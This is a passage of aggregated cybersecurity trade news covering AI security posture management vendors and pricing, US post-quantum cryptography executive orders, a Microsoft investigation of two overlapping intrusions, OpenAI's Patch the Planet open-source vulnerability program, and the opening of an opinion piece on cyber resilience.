Widespread enterprise adoption of AI has created a pressing need for security solutions — a tall order given that AI’s reach into organizational infrastructure and data is enormous and continues to grow. Moreover, where an organization sits on the AI maturity curve impacts its security needs. Trail of Bits CEO Dan Guide describes the AI journey as a migration from AI-assisted, where AI tools are used on existing workflows; through AI-augmented, which uses new workflows based on AI; to the AI-native organization, where AI “becomes a core participant in the delivery and operations of a business.” Those three stages require very different approaches to securing AI. They also present challenges for AI security vendors, whose platforms must fit in multiple places in a corporate network and interact with a broad spectrum of applications — especially as agentic AI expands. As analyst David Linthicum recently posted, “the conversation now has to shift from model fascination to operational discipline. The question is how those agents should be governed once they begin touching workflows that affect customers, employees, suppliers, compliance, and revenue.” Making matters worse is that the average enterprise manages 37 agents, with more than half running without security oversight or logging, according to Microsoft’s 2026 Cyber Pulse report, which also found that, while 80% of Fortune 500 companies use active AI agents, only 10% have a clear strategy for managing them. That lack of strategy also opens the door for attackers to abuse corporate AI systems for malicious purposes, as the recent exploit of Meta’s account recovery using chatbots demonstrated. The trick to securing AI systems is in understanding how much protection is needed and where it should be applied in the expanding AI universe. While one could rent a well-meaning AI agent called Sentry for $7,400 per month to automate the daily work of a SOC analyst, many organizations rolling out AI across their business would be best served by considering AI security posture management (AI-SPM) tools. Over the past two years, this emerging field has matured, with many security vendors incorporating or acquiring SPM features as part of their general security product portfolio. Some vendors, such as SentinelOne and Concentric, don’t specifically sell AI-SPM per se, but offer an SPM tool that is part of a larger package of AI security services. Others offer AI-SPM in conjunction with their other SPM tools or CNAPP security offerings. Some vendors, such as Cyera and Palo Alto, offer multiple AI-SPM packaging alternatives with differing feature sets. Choosing the right product requires careful examination of the roster of features and integrations each product offers to ensure that it doesn’t duplicate existing security tooling or worse, leave important coverage gaps. Here we take a deeper look at the AI-SPM product category, with a breakdown of offerings from 14 of the leading vendors in this increasingly important security ecosystem. AI security posture management explained AI security posture management is an evolving cybersecurity discipline focused on ensuring the integrity and security of AI and machine learning systems. AI-SPM encompasses strategies, tools, and techniques for monitoring, assessing, and enhancing the security of AI models, data, pipelines, applications, and services, even as threats to those entities continually evolve. In the past, security posture management tools were designed for two situations: to protect general cloud operations against misconfigurations and abuse, which is the province of cloud security posture management tools; and to protect against data leakage or malware infections, which is the province of data security posture management tools. With the rise of AI and large language models (LLMs), a third SPM product category is needed to check AI cloud services and their SDKs (like Hugging Face Transformers or Azure Open AI SDK) to prevent model abuses. This is because numerous studies have documented how AI training data can be the subject of an attack or how bad data can be injected into models to manipulate results, including creating malicious backdoors for attackers to use to enter your enterprise. The latest reports about attacks on AI and AI abuse can help you better understand the scope of security challenges rapidly evolving today. MITRE continues to enhance its comprehensive database of adversary tactics — Adversarial Threat Landscape for Artificial-Intelligence Systems (ATLAS) — based on real-world attack observations. ATLAS currently spans 170 techniques and 57 case studies. MIT researchers also maintain a growing database of more than 1,700 AI-related risks that they have observed from various AI sources. Another great source of AI-related attack methods is from the Open Worldwide Application Security Project (OWASP), which maintains a Top 10 list of LLM exploits. Security managers should examine them before choosing any AI-SPM product. They should also consult Richard Stiennon’s Guardians of the Machine Age, the most comprehensive collection of general security vendors, listing more than 100 AI security vendors. The printed book offers a deeper dive into the specifics of these tools. The AI-SPM vendor landscape is quickly evolving, as incumbent security vendors have made numerous acquisitions. Palo Alto Networks bought Protect.ai last year; Cato Networks acquired Aim.security; Orca acquired Opus for AI agentic security; SentinelOne acquired Prompt.Security; Varonis acquired a variety of companies, including Cyral, SlashNext, and AllTrue.ai; and Google acquired Wiz. Why enterprises need AI-SPM AI-SPMs have been designed to protect enterprise networks and applications from a range of threats to AI systems. Just like no modern business would assemble a network without an appropriate firewall, AI-SPMs “ensure that AI models stay explainable, fair, accountable, transparent and equitable,” Forrester analyst Andras Cser tells CSO. “Further good security hygiene dictates that AI infrastructure should not be allowed to be used as a steppingstone for hackers for lateral movement and data exfiltration, and should include policies to prevent and fix configuration drift.” AI-SPM can also help organizations standardize on a series of AI policies, procedures, tools, and workflows that can boost their security. Guido’s talk — linked above — is chock full of suggestions on how Trail of Bits accomplished this. Major AI-SPM trends and product features All AI-SPM vendors make use of agentless configurations, accessing cloud-based models and leaving data on their existing platforms. This is both a security measure and to avoid moving the massive data repositories involved across the internet. AI-SPM vendors also make use of AI-related mechanisms to classify and track these vast data collections and to protect them against potential abuse and attack. Many have integrated their AI-SPM solutions in one of three directions: Bolting AI-SPM onto their existing cloud or data SPM platforms with rules, compliance checking, best practices, and protection policies that bridge all three types of security postures. Stitching AI-SPM into their general AI security product that can be used to formulate AI-specific policies and perform AI-based red team and penetration testing in an effort to protect AI pipelines and workloads and uncover ways that shared AI services and platforms could be compromised. Incorporating AI-SPM to help identify sensitive data referenced by an AI model and to examine training data exposed to a third-party or external application. Some vendors, especially established security vendors such as CrowdStrike, Proofpoint, Palo Alto, Varonis, and Wiz, have hundreds of third-party integrations that cover the AI waterfront (such as AI assistants and model suppliers) and general IT security arena (such as development pipelines, data feeds, and tools such as SOAR and SIEM). All three types of integrations can provide better guiderails and limit an AI’s blast radius. But AI-SPM is still evolving. Some vendors’ tools just perform a top-level inspection of one or two services from each of the big three cloud platforms’ AI services (Amazon, for example, has dozens of AI-related service offerings), whereas others (such as Palo Alto Networks, Cato, Cyera, Varonis, and Wiz) take a deeper dive, performing a more comprehensive examination of AI data from the AI vendors themselves and other model sources. There are two open source efforts as well: Orca’s GOAT is a free learning platform that is based on the OWASP top 10 risks. Palo Alto’s Protect.ai has its collection of open-source tools on GitHub for scanning models and discovering AI interactions and automated red teaming called ProtectAI OSS. However, neither of these projects has been recently updated. How to choose an AI-SPM tool Here are several considerations when deciding on the best AI-SPM tool for your enterprise: Does the vendor work with your existing security tool collection? This has two dimensions: integrating with other SPM products (such as data or cloud protection), and integrating with third-party tools such as SOARs, SIEMs, or DLP products. We have included some vendors that don’t have a specific AI-related SPM (such as Concentric and CrowdStrike) but have deeply embedded AI protection into their platforms. How deep is the coverage across the cloud platform providers? The big three (AWS, Azure, and GCP) have many services that touch various aspects of AI, and some products only work with a few of them, or only connect with PaaS security “hubs.” Does the vendor continuously scan your infrastructure looking for vulnerabilities? AI can be quickly adopted and is very dynamic, so discrete scans are less useful. How important is having a tool that can help with AI red teaming? Understanding the dynamic nature of how AI operates means having a different approach to penetration testing, and this can be a very useful feature. Only a few vendors offer this feature (such as Concentric, Palo Alto Networks, and Varonis). Leading AI-SPM vendors and products We reached out to a range of leading AI-SPM security vendors to demonstrate their AI-related tools. Below are more details about each of the 14 we had the opportunity to preview. We have also summarized each vendor’s offerings in the features table, which also provides links, when available, to pricing and third-party integration details. Several vendors didn’t respond to our inquiries, including Baffle.io, Invicti, SecurityCompass, Tonic Security, and Zscaler. VendorProduct/URLEntry-level pricingPackagingIntegrations linkApp runtime securityContinuous scanning?MCP/Agent protection?AI Red Teaming?Arthur.aiArthur PlatformFree and paid versionsSingle productDeep PaaS coverageYesYesYesNoCato NetworksAI Security for End UsersSASE platformNumerousYesYesYesNoConcentricNo specific AI-SPM productAWS $50,000/yr, variesPart of its DSPM platformNumerousNoYesNoYesCrowdStrikeNo specific AI-SPM productPart of Falcon AI platformNumerousYesYesYesSeparate serviceCyeraAI GuardianAWS $50,000/yrSold in two bundles, see descriptionNumerousYesYesYesNoGuardrail TechnologiesTraffic Light for Code and AIFree and monthly plansAlso sell AI Command CenterSomeYesYesNoNoMicrosoftPurview$12.60/user/moPart of larger CSPM platformSomeYesNoYesNoOneTrustAI GovernanceSubscriptionsSingle product with SPM featuresSomeYesYesNoNoOrca SecurityAI-SPMAWS $84,000/yrHas other AI security toolsNumerousYesYesYesNoPalo Alto NetworksPrisma AI SecuritySold in two bundles, see descriptionNumerousYesYesYesYesProofpointAI Access SecurityAWS $96,000/yrPeople Protection PlatformNumerousYesYesYesNoSentinelOneNo specific AI SPM product$80/yr/endpointPart of larger Singularity platformNumerousYesYesYesYesVaronisAtlasAWS $108,000/yrBundled with AI InventoryHundredsYesYesYesYesWiz/GoogleAI App Protection PlatformAWS $38,000/yrVariety of bundles availableNumerousYesYesYesNo Arthur.ai Arthur.ai’s platform is a single product that offers deep PaaS coverage with both AWS and Google Cloud Platform, although unlike other AI-SPMs it doesn’t offer a wide range of third-party integrations. It includes application runtime security protection. It also scans network traffic continuously and watches for agent activity, along with policy guardrails to protect against prompt injection and sensitive data leakage. It includes behavioral analytics and governance that catch abusive agentic activities. There are free and paid versions starting at $10,000 annual plans for smaller networks. Cato Networks AI Security for End Users Cato Networks AI Security for End Users is one of three separate AI security packages that work together with Cato’s SASE platform, the other two being protection for applications (both runtime and across the software development lifecycle) and for real-time agentic operations. The three AI packages are meant to be purchased together to provide audit trails showing what users are doing with their AI tools and to help understand and illustrate the risks. Cato’s tools can also prevent prompt injection and data leaks and find compliance blind spots. Its platform has a wide collection of third-party integrations, including CrowdStrike, Microsoft, and Splunk SIEMs, and various data sources such as Google’s Chronicle and Rapid7. Cato Networks did not reveal pricing. Concentric AI and Data Security Governance Concentric sells a DSPM platform labelled “AI and Data Security Governance.” There is no specific AI tool, although AI pervades its product in a variety of places, including scanning various models for prompt injection, automated remediation, and the discovery and classification of data flows. It offers a wide collection of third-party integrations. On the AWS Marketplace, it sells an entry-level version for $50,000 per year that covers up to 25TB of data, with higher fees for larger data collections. CrowdStrike Falcon AI-SPM CrowdStrike Falcon AI-SPM is not a separate product, but part of the overall Falcon Cloud security platform. It can correlate risk findings with other security services monitored by the full Falcon platform. It includes discovery of AI services and models across a variety of cloud platforms, including containers and virtual images, and can detect misconfigurations and dependencies with other software. It scans OpenAI, Amazon Bedrock, Amazon SageMaker, and Vertex AI models. Falcon has more than 250 integrations available to a wide collection of third-party security tools. You can request a free 15-day trial, but no further pricing information was disclosed. Cyera AI Guardian Cyera.io specializes in data file level classification. It packages its AI-SPM product in two separate bundles: either with its flagship DSPM product that has added what you might think of as AI-enriched data link protection as part of the default product’s features, or with a more complete set of security features called AI Guardian. Cyera also offers a specialized add-on module used for Microsoft Copilot data scanning that can detect data used by insiders, for example. Cyera’s AWS Marketplace pricing can be found here and starts at $50,000 per year. Guardrail Technologies Traffic Light for Code and AI Guardrail Technologies Traffic Light for Code and AI is designed to be a simple way to flag potential AI abuse by scanning AI-generated code and returning a red/yellow/green result to indicate potential for compromise. There is no remediation, but the tool integrates across the major AI vendors, including Anthropic, Azure Open AI, Hugging Face, and AWS Bedrock, and general security tools such as Wiz and Snyk. Guardrail has a custom AI security consulting business as well called AI Guardian. Very transparent pricing page and a 60-day free trial is available. Microsoft Purview Microsoft has bundled its various security posture tools into its Purview offering, which includes a series of AI-based Copilot apps, data SPM and classification tools, and data loss prevention extensions tuned to its various SaaS platforms such as 365, Azure, and Windows endpoints. This extends the AI security features that were originally part of its Defender for Cloud offerings. It has a limited number of third-party integrations. One-month free trials are available, and the entire suite is available for $12.60 per month per user. Microsoft has stepped up its involvement with AI with its Scout, a collection of autonomous AI agents built on top of OpenClaw. It is designed to work with its applications, using built-in security and privacy controls. OneTrust AI Governance OneTrust offers AI Governance, a platform that automates compliance and provides continuous monitoring of the AI landscape, across the software lifecycle starting with any AI usage at the beginning of any build. It can detect policy violations, and which AI agents are running. It offers a series of third-party integrations such as Amazon’s Bedrock and Sagemaker; Azure Foundry, ML Studio, and OpenAI; Databricks Unity Catalog and ML flow; and Google Vertex. Its subscription price is based on the number of admin users and number of AI inventory records, although no specifics were provided. Orca AI-SPM Orca Security’s AI-SPM is tightly integrated into the company’s security platform. It continues to expand its features, offering detections of more than 50 AI models, including training data and runtime threats, remediation, and support for Model Context Protocol to connect to other Orca-based telemetry. It continues to expand its nearly 100 integrations across SIEM and SOAR systems and various cloud providers’ services. For example, it works with AWS S3, SQS, SNS, CodeBuild, CloudTrail, and Security Hub. It comes with dozens of best-practice security rules that initially focused on compliance. It also alerts when sensitive data is detected inside models and when secrets are exposed. Orca’s overall security platform shows an AWS Marketplace annual pricing that ranges from $84,000 to $360,000, depending on the number of workloads scanned. Palo Alto Networks AIRS AI Security Palo Alto Networks has been busy acquiring point security vendors (Dig, ProtectAI, and an offer on Portkey) and incorporating their code into its two major product lines, Prisma and Cortex. You can purchase AI-SPM functionality in either Palo Alto product line, but they cover different aspects of the AI ecosystem. Cortex offers AI-SPM alongside the data and cloud SPMs integrated into the CNAPP suite. Prisma offers AI-SPM as part of a total AI security package called AIRS AI Security, which includes runtime protection, model scanning, and a more comprehensive platform. We focus on AIRS AI, which supports top-level scans of Amazon, Google Cloud, and Azure AI services to discover AI content and can classify and examine model data and secrets and comes with many built-in AI-related policies. Prisma has a long list of third-party integrations, including significant depth in AWS security services. That link will also take you to detailed instructions on how to set up these integrations. To complicate matters further, Palo Alto also sells a separate Prisma secure browser extension that works with these products to protect your endpoints, and that originated from technology it purchased from Talon Cyber Security in 2023. While pricing was not disclosed, our estimate is that AIRS will cost in the low six figures annually. Proofpoint People Protection Platform Proofpoint includes a general AI security product as part of its People Protection Platform that covers a wide range of protective services integrated across its other non-AI security tools. It provides runtime inspection of potential AI misconfigurations, as well as policies that include detection of agent, tools, and MCP connections, and it can generate forensic audits of AI interactions. Proofpoint’s general security platform starts at $96,000 annually on AWS Marketplace. It has several integrations with third-party services across the major cloud platform providers. SentinelOne Singularity Platform SentinelOne’s Singularity platform offers several AI protective features, including misconfiguration detection, attack path analysis, automated AI inventory and remediation, and integration with a variety of AI PaaS platforms such as Azure OpenAI, Google’s Vertex AI, and various AWS services. It is bundled within the company’s Cloud Native Security tool. Some of these features originated with Singularity’s purchase of Prompt.Security. Access to all the features requires purchasing the enterprise edition, which is offered with custom pricing, but lower feature tiers are available for $80 per year on this public pricing page. There are also numerous integrations with its Marketplace. Varonis Atlas AI Security Varonis Atlas AI Security is a multipurpose security platform that offers a variety of modules, including red team/penetration testing, compliance, and third-party risk management. Its AI-SPM module is combined with an AI inventory scanner and can be used to help development teams classify data used in the AI ecosystem, such as scanning for bad AI behavior, leveraging identities improperly, and examining data flows. Automated remediation processes are built into the tool as well. There are several hundred third-party integrations available for a wide collection of security tools, such as JFrog, Jira, Okta, and Salesforce. Varonis has two pricing components; one based on per user and per protected application and an additional price for resource consumption. Atlas is sold on the AWS Marketplace starting at $108,000 per year and free risk assessments are available to qualified customers. Wiz/Google AI Application Protection Platform Google has acquired Wiz but kept its operation independent. It has a multipurpose security platform that comes from a strong posture management (cloud and data) background. Its advanced version has been augmented with a comprehensive AI-related series of policies, detection algorithms, and pipeline, model, and data scanners. These are assembled into a separate AI dashboard page. It can also detect AI pipeline abuses, protect AI runtimes, identify and classify tools and agents, map dependencies graphically and suggest remediation steps. It also contains core AI-SPM features such as discovery, attack path analysis, and supply chains. Pricing for the Wiz Advanced bundle on AWS Marketplace is $38,000 annually. What about AI-SPM pricing? Pricing and packaging of AI-SPM tools vary widely. Many vendors offer free trials limited to differing periods (an option that is also available on the AWS Marketplace). We pointed out the open-source alternatives earlier, which is also a good way to see how the products work, but we wouldn’t recommend relying on these tools given their lack of recent updates. The only vendors that have (mostly) transparent pricing are Guardrail Technologies (with both free and monthly plans) and SentinelOne (with various annual plans starting at $80 per endpoint). Most of the vendors didn’t want to provide pricing directly but have published pricing on the AWS Marketplace, which can give you a rough indication that most start in the low six figures for annual contracts. For a typical situation with 1,000 users the total could be in the low six-figure range annually. View the full article

US President Donald Trump on Monday signed a pair of executive orders aimed at accelerating the federal government’s transition to post-quantum cryptography while expanding US investment in quantum technologies, establishing what the administration describes as a coordinated strategy to prepare for the opportunities and risks posed by quantum computing. The actions include an executive order, “Securing the Nation Against Advanced Cryptographic Attacks,” and a companion order, “Ushering in the Next Frontier of Quantum Innovation.” Accompanying White House fact sheets frame the initiatives as part of the administration’s broader national security, economic competitiveness, and cybersecurity strategy. For security leaders, the most immediate impact comes from the cryptography order, which establishes federal migration deadlines for quantum-resistant encryption, directs agencies to inventory cryptographic assets, and signals future procurement requirements for government contractors. “It’s a great step and definitely in alignment with what we’ve seen from other jurisdictions around the world,” Chris Hickman, CISO at post-quantum cryptography company Keyfactor, tells CSO. “It compels action.” Hickman said the deadlines could have effects far beyond federal agencies because contractors and critical infrastructure operators will face increasing pressure to demonstrate readiness for post-quantum cryptography. “A lot of suppliers out there don’t want to lose revenue from the federal government, so it’s time to take this stuff seriously,” he said. The administration argues that adversaries may already be collecting encrypted communications and sensitive data in anticipation of future breakthroughs that could render today’s public key cryptography obsolete. The White House described the threat as a “harvest now, decrypt later” scenario in which information stolen today could be stored and decrypted years from now once sufficiently powerful quantum computers become available. Although experts continue to debate how long it will take to build cryptographically relevant quantum computers, federal officials argue that organizations cannot wait until such systems exist before beginning preparations. The White House said the order builds on a broader administration cybersecurity agenda, including a June 2025 cybersecurity executive order and the Cyber Strategy for America released earlier this year. Officials said the effort is intended not only to protect federal systems but also to accelerate adoption of quantum-resistant security technologies across critical infrastructure sectors and the broader digital ecosystem. Ilona Cohen, chief legal and policy officer at HackerOne and former general counsel of the White House Office of Management and Budget, said in a statement that recent administration cybersecurity initiatives reflect growing concern about the role contractors play in federal cyber risk. “Federal networks are only as resilient as the contractors supporting them,” Cohen said. Federal migration deadlines established The executive order directs federal agencies to accelerate migration to post-quantum cryptography standards developed by the National Institute of Standards and Technology. NIST finalized its first post-quantum cryptography standards in 2024 and continues to evaluate additional algorithms intended to replace cryptographic systems vulnerable to future quantum attacks. Under the order, federal agencies must complete migration of key-establishment mechanisms by Dec. 31, 2030. Migration of digital-signature systems must be completed by Dec. 31, 2031. Within 30 days, agencies must designate senior officials responsible for overseeing post-quantum cryptography migration efforts. The Office of Management and Budget must issue implementation guidance within 90 days, while agencies are expected to develop plans for replacing vulnerable cryptographic systems across federal environments. The deadlines represent one of the clearest federal mandates to date regarding the timeline for government adoption of post-quantum cryptography. Cryptographic bill of materials requirements The order also introduces measures intended to improve visibility into cryptographic dependencies throughout government systems and software supply chains. Among the most significant is a directive requiring NIST and the Cybersecurity and Infrastructure Security Agency to develop minimum elements for a cryptographic bill of materials (CBOM) within 270 days. The concept is similar to a software bill of materials but focuses specifically on identifying cryptographic algorithms, libraries, and dependencies embedded within products and systems. Security practitioners have long argued that organizations cannot effectively migrate to post-quantum cryptography without first understanding where cryptography exists throughout their environments. The administration also directed NIST to establish a federal post-quantum cryptography migration pilot program by the end of 2027 to identify implementation challenges and develop migration best practices. Contractors likely to face new compliance obligations The executive order also signals significant future implications for federal contractors. The Federal Acquisition Regulatory Council was directed to develop procurement requirements that would require covered contractors to comply with applicable NIST post-quantum cryptography standards by the end of 2030. While details remain to be determined, the provision suggests federal purchasing requirements may become a major driver of post-quantum cryptography adoption across the technology industry. Security vendors, cloud providers, software developers, and managed service providers that do business with federal agencies may ultimately need to demonstrate compliance with emerging post-quantum cryptography requirements. The order’s emphasis on cryptographic inventories, migration planning, and standards compliance suggests federal agencies will increasingly expect suppliers to understand and document the cryptographic components embedded within their products. Quantum innovation initiative expands Alongside the cybersecurity order, Trump signed a separate executive order, which intends to accelerate the development of quantum computing and related technologies. The administration argues that quantum technologies could eventually transform industries, including pharmaceuticals, manufacturing, logistics, energy, and defense, while providing strategic advantages in scientific research and national security. At the center of the initiative is a government-wide effort known as Quantum Computing for Accelerated Discovery and Development for Science (QC-ADDS), which aims to develop at least one quantum computer capable of enabling what the administration calls “quantum-enabled scientific discovery.” The Department of Energy, Department of Commerce, Department of Defense, National Science Foundation, NASA, National Security Agency, and elements of the intelligence community are directed to coordinate research and development activities under the program. Agencies are tasked with developing technical requirements within 90 days and implementation plans within 180 days. Industry leaders said the order reflects a growing recognition that leadership in quantum computing will require coordinated investment across multiple layers of the technology stack. “The United States has a window of opportunity to lead in this domain,” Stefan Leichenauer, vice president of engineering at SandboxAQ, said in a statement. “It requires coordinated investment across the stack: cryptography, compute infrastructure, data generation, and application development. It also requires strong partnerships between government, industry, and academia.” The order also calls for expanded support for quantum networking and quantum sensing technologies and directs the creation of a national capability for evaluating and benchmarking quantum computing systems. Commercialization, workforce, and security priorities A major focus of the innovation initiative is moving quantum technologies from research laboratories into commercial deployment. The White House said the United States must strengthen domestic quantum supply chains, support technology transfer, and ensure federally funded discoveries translate into commercial products and economic growth. Ankur Saxena, investment director at TDK Ventures, thinks the order reflects the industry’s growing focus on turning scientific advances into deployable technologies. “Quantum is shifting from a scientific frontier to an engineering and industrial race,” Saxena said in a statement. “US leadership will depend not just on breakthrough hardware, but on resilient supply chains and the enabling infrastructure that makes quantum deployable at scale.” The administration also announced plans to reconstitute the National Quantum Initiative Advisory Committee and expand activities of the Quantum Counterintelligence Protection Team to help protect sensitive research and intellectual property. The order places significant emphasis on workforce development as well, directing agencies to support quantum-related education, credentialing, and apprenticeship programs and to establish National Quantum Information Science and Technology Workforce Development Institutes. Two sides of the same strategy The executive orders reflect an effort to pursue what administration officials view as two sides of the same challenge: accelerating development of quantum technologies while preparing for the security consequences those technologies may eventually create. For cybersecurity leaders, the post-quantum cryptography provisions are likely to have the most immediate impact. The combination of migration deadlines, cryptographic inventory requirements, pilot programs, and anticipated procurement mandates signals that federal agencies are moving from planning for post-quantum cryptography to implementing it. For the broader technology sector, the orders underscore a growing consensus in Washington that quantum computing is no longer merely a long-term research project but a strategic technology that requires simultaneous investment, governance and risk management. View the full article

What began as a routine ransomware investigation uncovered two unrelated attackers operating inside the same victim network at the same time, each obscuring the other’s activity and complicating the response. The discovery emerged during a Microsoft Detection and Response Team (DART) engagement involving Storm-2603, a threat actor associated with ransomware deployment. Investigators initially believed they were tracking a single intrusion before identifying a separate attack chain involving a different set of tools, infrastructure, and objectives. “This case highlights a growing reality: modern attacks are not always isolated events. Sometimes they are overlapping campaigns,” Microsoft said in its latest cyberattacks series report. The company said activity linked to one actor initially obscured evidence associated with the other, complicating efforts to determine the full scope of the compromise and reconstruct the attack timeline. “Only by correlating identity, endpoint, and cloud telemetry together did the full scope of the attack become clear,” the report added. The investigation ultimately expanded beyond the original environment and led DART to identify a second compromised organization connected to the broader attack chain, according to Microsoft. Two attackers, one environment The investigation began after attackers exploited vulnerabilities in on-premises SharePoint servers and established persistence inside the victim environment. Microsoft attributed that activity to Storm-2603, which used Cloudflare Tunnel, Zoho Assist, Visual Studio Code Remote SSH, and Velociraptor during the intrusion. The actor also created unauthorized administrator accounts and used a vulnerable driver to disable security controls before deploying ransomware, the report said. As investigators reconstructed the attack timeline, they identified activity that did not align with the ransomware operator’s tactics, techniques, and procedures. Further analysis uncovered what Microsoft described as a separate intrusion. According to the report, the second actor used DLL sideloading techniques, custom backdoors, VPN access through virtual private server infrastructure, and attempted access to Active Directory credential databases. Microsoft said the activity represented a separate attack chain operating within the same environment. “Two distinct threat actors operated simultaneously within the same environment,” Microsoft said in its report, with each one masking the other and obscuring the full scope of the intrusion. Overlapping intrusions are more common than vendors admit, said Vibhum Dubey, an independent cybersecurity researcher and red teamer. “Most incident responders hesitate to conclude that multiple unrelated actors are operating in the same environment, so they may spend considerable time trying to build a single coherent kill chain from what are actually separate intrusions,” Dubey said. Two groups landing on the same exposed SharePoint server is rarely coordinated, he said, but “two separate groups scanning the same CVE feeds and getting lucky around the same window.” The result, he added, is “same environment, zero shared intent.” That overlap is also what makes such cases hard to untangle, Dubey said. How the breach spread The investigation widened when forensic evidence showed the attackers had moved beyond the first network. DART contacted a second organization and confirmed it had been hit by the same Storm-2603 ransomware activity, showing the actor’s reach extended beyond the first victim. Containment is where overlapping intrusions bite hardest, Dubey said. Evicting one group and rotating credentials can tip off a second actor that was never fully scoped. “Actor B, who you never fully scoped, goes loud because you just shook their environment,” he said. What DART got right, he added, was using threat intelligence to separate the artifact clusters before acting, “the discipline that made the difference.” DART contained both intrusions using a structured response playbook, the report said, pulling telemetry from identities, endpoints, and cloud services into a single view to spot abnormal behavior, flag credential misuse, and track the attackers. It briefed the affected customer daily and worked with Microsoft Threat Intelligence to confirm the two actors were active in parallel. Only by “correlating identity, endpoint, and cloud telemetry together,” Microsoft said, did the full scope of the attack become clear. What enterprises should take away? Microsoft urged organizations to prioritize patching for internet-facing systems, especially on-premises SharePoint, and to treat privileged identities as a primary attack surface, with tighter controls and monitoring. It also recommended deploying endpoint protection broadly, centralizing telemetry, restricting remote-access and developer tools that attackers abuse, and keeping tested incident response playbooks ready to isolate compromised accounts quickly. For Dubey, the root cause is simpler than the forensics that followed: “an internet-facing box sat unpatched long enough for more than one actor to walk through the door.” Everything after that, he said, “was downstream of that single failure.” Microsoft did not immediately respond to a request for comment. View the full article

OpenAI has launched a program with cybersecurity firm Trail of Bits to use AI to find and fix vulnerabilities in widely used open-source software, as enterprises face growing risks from flaws buried deep in their software supply chains. The initiative, called Patch the Planet, uses AI-assisted vulnerability research alongside human review to help turn security findings into tested fixes that can be disclosed through existing project channels. Initial participants include Python, Go, cURL, Sigstore, NATS Server, aiohttp, freenginx, pyca/cryptography, and python.org. These projects support software development, networking, cryptography, and supply chain infrastructure used across a wide range of enterprise applications and services. OpenAI said each engagement will begin with consultation with maintainers to identify where security support is most needed. Researchers will then investigate potential vulnerabilities, validate meaningful issues, develop or refine patches, support testing, and coordinate disclosure through the project’s existing channels. Participating security researchers will use the company’s models and Codex Security to analyze code and help move fixes toward release. Trail of Bits engineers will review findings before they are sent to maintainers, a step meant to filter out false positives and duplicate reports before they add to the workload of open-source projects. The company is also working with HackerOne and Calif to support vulnerability triage, coordinated disclosure, and additional discovery work as the program expands. OpenAI said work under the program has already identified “hundreds of security issues and merged dozens of patches, with many more still undergoing coordinated disclosure.” The work has also produced tools for fuzzing, historical CVE analysis, and differential testing, along with systems to filter inaccurate findings before patches are generated, OpenAI added. The focus on open-source security follows incidents such as Log4Shell and the XZ Utils backdoor, which showed how quickly a flaw in a shared component can move through enterprise software. Analysts said Patch the Planet changes the risk equation only if enterprises treat AI-assisted vulnerability research as an input to a broader software supply chain risk program, not as a substitute for one. “The key shift is speed: AI-assisted research can help find, validate, patch, test, and document issues faster, while human reviewers reduce false positives before maintainers are burdened,” said Biswajeet Mahapatra, principal analyst at Forrester. “But the dependency on scarce expertise does not go away; it moves to triage, exploitability judgment, patch safety, disclosure timing, and production rollout.” Guardrails before deployment CISOs should put governance controls in place before using AI-assisted vulnerability research in enterprise security pipelines, to ensure unverified findings do not overwhelm engineering teams, said Devashri Datta, an open-source cybersecurity architect. “CISOs should demand a Safety Relevance Layer in their risk modeling, a structured framework that requires every AI-generated finding to pass automated verification, including dynamic proof-of-concept validation and strong false-positive filtering, before it reaches a human analyst,” Datta said. Those controls should also cover disclosure, particularly when AI tools identify flaws in third-party open-source components that the enterprise does not control, Datta said. Organizations need predefined escalation paths, notification timelines, and role assignments that take effect once a confirmed issue is found in an external dependency. “Ad hoc disclosure in an AI-accelerated environment isn’t just a process gap; it’s a liability,” Datta said. “Trusting AI in the production pipeline requires verifiable auditability: organizations must be able to trace why the AI flagged a line of code, how it validated the exploit, and how it determined that the patch would not break downstream production systems.” Continuous exposure reduction AI-assisted vulnerability research could force enterprises to move away from periodic patching cycles and toward more continuous risk assessment, analysts said. If variant analysis and differential testing can be compressed from weeks to days, security teams may need faster ways to decide which findings matter most in their own environments. That shift also means enterprises can no longer rely only on generic CVSS scores to prioritize remediation, Datta said. Findings will need to be assessed against the affected system, its business role, runtime exposure and the likelihood that a flaw can be exploited. “We have to move toward context-aware, safety-critical prioritization,” Datta said. “Enterprise SBOM and VEX programs must evolve from passive compliance spreadsheets into live, machine-readable data feeds. For AI-assisted pipelines specifically, that means extending the VEX model to cover AI-introduced risk surfaces.” Mahapatra said vulnerability management programs will also need to become more closely tied to software ownership, supplier response, and business impact. “Security teams should move from periodic vulnerability handling to continuous exposure reduction,” Mahapatra said. That means SBOMs should be treated as live inventories tied to runtime exposure and supplier response, rather than static compliance documents. Patch decisions should also account for asset criticality, exploitability, compensating controls, and business impact. View the full article

For years, cybersecurity professionals have been repeating the same warning: Every company will eventually be breached. Fine. Let’s accept that. Then why do so many organizations still behave as if the near sole purpose of cybersecurity is to prevent the breach from ever happening? That is the contradiction at the heart of modern cybersecurity strategy. We say, “Assume the breach,” but we budget, govern, architect, and rehearse as if the wall will hold. We tell boards compromise is inevitable, then ask for more money to make the wall higher, thicker, smarter, and more AI-enabled. We buy more tools. We tune more dashboards. We polish the gate. We call it maturity. And then, when the wall of our gloriously protected city cracks, it turns out that half the city has no food, no command structure, no working roads, no backup water supply, and no idea who is supposed to organize the response. That is not security. Or at least, it should no longer be understood as security. Pure prevention is the past The age of having a pure prevention focus has ended. Not because prevention is dead. That would be a childish argument. WAFs matter. MFA matters. Patching matters. Hardening matters. The familiar machinery still matters: hardened systems, sane configurations, patching discipline, identity controls, endpoint visibility, email defenses, logging, segmentation, and the rest of the security plumbing. Nobody serious is suggesting we kick open the gates and invite the attackers in. But prevention alone is no longer a credible operating model. It no longer works as the primary focal point. The strategic question is no longer simply, “Can we stop the attack?” The better question is, “Can the organization continue to function when the attack succeeds?” That is the shift. Cybersecurity is not primarily about protection anymore. It is about survival. Survival means breach readiness. It means continuity. It means recoverability. It means identity restoration when the identity provider is compromised. It means knowing which systems can be rebuilt cleanly and which ones are held together by duct tape, vendor promises, and one engineer we are all praying will never retire. It means backup integrity, crisis governance, legal and communications alignment, supplier fallback, product resilience, clean deployment pipelines, tested incident response, and executives who understand that cyber risk is not a quarterly awareness slide. Survival means designing organizations that can absorb breach, disruption, AI acceleration, supplier failure, regulatory pressure, and systemic shock without collapsing entirely. This is not just philosophy. The world is moving there whether companies enjoy the view or not. The critical question In Europe, under the EU legislative umbrella, cyber resilience is becoming explicit regulatory language. DORA makes digital operational resilience a serious financial-sector obligation. NIS2 widens the net around essential and important entities. The Cyber Resilience Act pushes security into the lifecycle of products with digital elements, from planning and design to development and maintenance. Europe, in its very European way, is saying: You shall be resilient, and there shall be paperwork. The US is taking a different, perhaps more laissez-faire path. It is pushing accountability through 